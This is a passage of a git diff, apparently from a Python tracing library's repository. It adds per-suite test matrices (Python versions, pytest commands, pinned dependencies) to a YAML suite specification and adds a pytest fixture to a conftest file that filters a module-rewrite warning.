matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest -v -n auto --dist=worksteal {cmdargs} tests/wrapping/ + dependencies: pytest-xdist + env: + DD_TRACE_WRAP_SPAN_NAME_INCLUDE_CLASS: 'true' + axes: + wrapt: + wrapt-latest: + dependencies: wrapt + wrapt-1: + dependencies: wrapt<2.0.0 lib_injection: paths: - '@bootstrap' @@ -245,6 +457,14 @@ suites: - '@lib_injection' parallelism: 2 pattern: ^lib_injection$ + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/lib_injection/ + dependencies: + - PyYAML + - "pip==26.0.1; python_version < '3.10'" + - "pip==26.2.1; python_version >= '3.10'" + - pytest-randomly runtime: paths: - '@bootstrap' @@ -253,6 +473,12 @@ suites: - '@vendor' - tests/runtime/* skip: true + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/runtime/ + dependencies: + - msgpack + - pytest-randomly openfeature: parallelism: 1 paths: @@ -260,6 +486,18 @@ suites: - '@remoteconfig' - '@core' pattern: ^openfeature$ + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/openfeature + dependencies: + - pytest-randomly + - mock + axes: + openfeature: + openfeature-0-8: + dependencies: openfeature-sdk~=0.8.0 + openfeature-latest: + dependencies: openfeature-sdk telemetry: parallelism: 1 paths: @@ -277,6 +515,23 @@ suites: - tests/telemetry/* - tests/snapshots/tests.telemetry.* snapshot: true + matrix: + command: pytest {cmdargs} tests/telemetry/ + dependencies: + - requests + - gunicorn + - httpretty<1.1 + - pytest-randomly + - xmltodict + - django + cases: + - python: ['3.14'] + dependencies: flask>=3.1.2 + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - flask<=2.2.3 + - werkzeug<2.0 + - markupsafe<2.0 tracer: env: DD_TRACE_AGENT_URL: http://localhost:8126 @@ -297,19 +552,88 @@ suites: - tests/snapshots/test_* retry: 2 venvs_per_job: 1 - tracer-uwsgi: - venvs_per_job: 1 + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/ + dependencies: + - msgpack + - coverage + - attrs + - structlog + - httpretty + - wheel + - fastapi + - httpx<0.28.0 + - pytest-randomly + - setuptools + - boto3 + - freezegun + env: + DD_CIVISIBILITY_LOG_LEVEL: none + DD_INSTRUMENTATION_TELEMETRY_ENABLED: '0' + _DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS: '50' + axes: + variant: + default: + group: + traceid-64-bit: + group: + name: tracer-128-bit-traceid-disabled + python: ['3.14'] + env: + DD_TRACE_128_BIT_TRACEID_GENERATION_ENABLED: 'false' + optimize: + group: + name: tracer-python-optimize + env: + PYTHONOPTIMIZE: '1' + legacy-attrs: + name: tracer-legacy-attrs + python: ['3.9'] + dependencies: + - cattrs<23.2.0 + - attrs==22.1.0 + uwsgi: + name: tracer-uwsgi + python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + command: pytest -v {cmdargs} tests/tracer/test_uwsgi_shutdown.py + dependencies: uwsgi + wait: + type: helper paths: - - '@bootstrap' - - '@core' - - '@tracing' - - '@vendor' - - tests/tracer/test_uwsgi_shutdown.py - - tests/tracer/uwsgi-app.py - - tests/contrib/uwsgi/__init__.py - pattern: tracer-uwsgi + - tests/wait-for-services.py + matrix: + # Python 3.10 is incompatible with the pinned kombu and vertica clients. + python: ['3.9'] + command: python tests/wait-for-services.py {cmdargs} + dependencies: + - azure-data-tables + - azure-storage-blob + - azure-storage-queue + - cassandra-driver + - psycopg2-binary + - mysql-connector-python!=8.0.18 + - vertica-python>=0.6.0,<0.7.0 + - kombu>=4.2.0,<4.3.0 + - pymssql + - pytest-randomly + - redis + - requests + env: + AGENT_VERSION: testagent + DD_TRACE_AGENT_URL: http://testagent:9126 vendor: parallelism: 1 paths: - '@vendor' - tests/vendor/* + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/vendor/ + dependencies: pytest-randomly + axes: + msgpack: + msgpack-1: + dependencies: msgpack~=1.0.0 + msgpack-latest: + dependencies: msgpack diff --git a/tests/testing/conftest.py b/tests/testing/conftest.py index fc40117c912..a7dc4e02b7f 100644 --- a/tests/testing/conftest.py +++ b/tests/testing/conftest.py @@ -2,9 +2,11 @@ import os import subprocess +import sys import typing as t from unittest.mock import Mock +from _pytest.pytester import Pytester import pytest from ddtrace.testing.internal.constants import DD_TEST_OPTIMIZATION_MANIFEST_FILE @@ -17,6 +19,20 @@ pytest_plugins = ["pytester"] +@pytest.fixture(autouse=True) +def suppress_editable_finder_rewrite_warning(monkeypatch: pytest.MonkeyPatch) -> None: + """Keep the loaded editable finder out of nested pytest result counts.""" + if not any(name.startswith("__editable___ddtrace_") and name.endswith("_finder") for name in sys.modules): + return + + inline_run = Pytester.inline_run + + def run_with_filter(self: Pytester, *args: t.Any, **kwargs: t.Any) -> t.Any: + return inline_run(self, "-W", "ignore:Module already imported so cannot be rewritten", *args, **kwargs) + + monkeypatch.setattr(Pytester, "inline_run", run_with_filter) + + @pytest.fixture(autouse=True) def clear_ci_itr_rollout_env() -> None: clear_itr_rollout_env() @@ -28,7 +44,7 @@ def set_env() -> None: Make sure that we don't send inner tests to Datadog. """ os.environ["DD_API_KEY"] = "test-key" - # The riotfile enables out-of-session retries globally (_DD_CIVISIBILITY_OUT_OF_SESSION_RETRIES_ENABLED=1) + # Suitespec enables out-of-session retries globally (_DD_CIVISIBILITY_OUT_OF_SESSION_RETRIES_ENABLED=1). # for dd-trace-py's own test runs. These plugin tests drive the plugin via pytester.inline_run, # which shares this process's environment, so we force OSR off here and let the OSR tests opt in explicitly # (see test_pytest_osr.py).